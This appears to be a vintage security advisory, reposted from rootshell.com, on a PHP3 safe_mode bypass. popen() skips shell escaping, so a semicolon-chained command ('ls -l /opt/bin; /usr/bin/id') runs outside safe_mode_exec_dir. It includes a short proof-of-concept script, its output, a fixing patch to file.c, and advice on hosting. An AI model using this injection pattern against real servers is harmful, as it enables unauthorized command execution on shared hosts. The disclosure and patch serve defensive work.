[ http://www.rootshell.com/ ]

Kristian Koehntopp <kris@koehntopp.de>

PHP3 (http://www.php.net) is a scripting language used in many webhosting
setups. Often in hosting setups so called "safe_mode" is enabled, which
restricts the user in many ways. For example, in safe_mode you are supposed
to be able to execute only programs from a safe_mode_exec_dir, if one is
defined. Within that directory there should be only a restricted command set
that is considered safe.

When safe_mode is enabled, PHP3 is supposed to apply EscapeShellCmd() to
each shell command to prevent the user from breaking out of this directory.
As it turns out, the popen() function does not do this in safe_mode. I was
able to set up a web server with safe_mode enabled and a safe_mode_exec_dir
containing only "ls". I then wrote the following script:

<?php
  $fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
  echo "$fp<br>\n";
  while($line = fgets($fp, 1024)):
    printf("%s<br>\n", $line);
  endwhile;
  pclose($fp);

  phpinfo();
 ?>

which gave me the following output

1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)

and from the configuration values of phpinfo():

safe_mode            0             1


The following patch against functions/file.c fixes the problem,
I hope:

Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c    2000/01/01 04:31:15     1.229
+++ functions/file.c    2000/01/03 21:31:31     1.230
@@ -26,7 +26,7 @@
    | Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca>                       |
    +----------------------------------------------------------------------+
  */
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
 #include "php.h"

 #include <stdio.h>
@@ -51,6 +51,7 @@
 #include "safe_mode.h"
 #include "php3_list.h"
 #include "php3_string.h"
+#include "exec.h"
 #include "file.h"
 #if HAVE_PWD_H
 #if MSVC5
@@ -575,7 +576,7 @@
        pval *arg1, *arg2;
        FILE *fp;
        int id;
-       char *p;
+       char *p, *tmp = NULL;
        char *b, buf[1024];
        TLS_VARS;

@@ -600,7 +601,11 @@
                } else {
                        snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
                }
-               fp = popen(buf,p);
+
+               tmp = _php3_escapeshellcmd(buf);
+               fp = popen(tmp,p);
+               efree(tmp); /* temporary copy, no longer necessary */
+
                if (!fp) {
                        php3_error(E_WARNING,"popen(\"%s\",\"%s\") - %s",buf,p,strerror(errno));
                        RETURN_FALSE;

As a web hoster, you should not rely on safe_mode for security, but use the
CGI version of PHP in a chroot()ed environment instead.

Kristian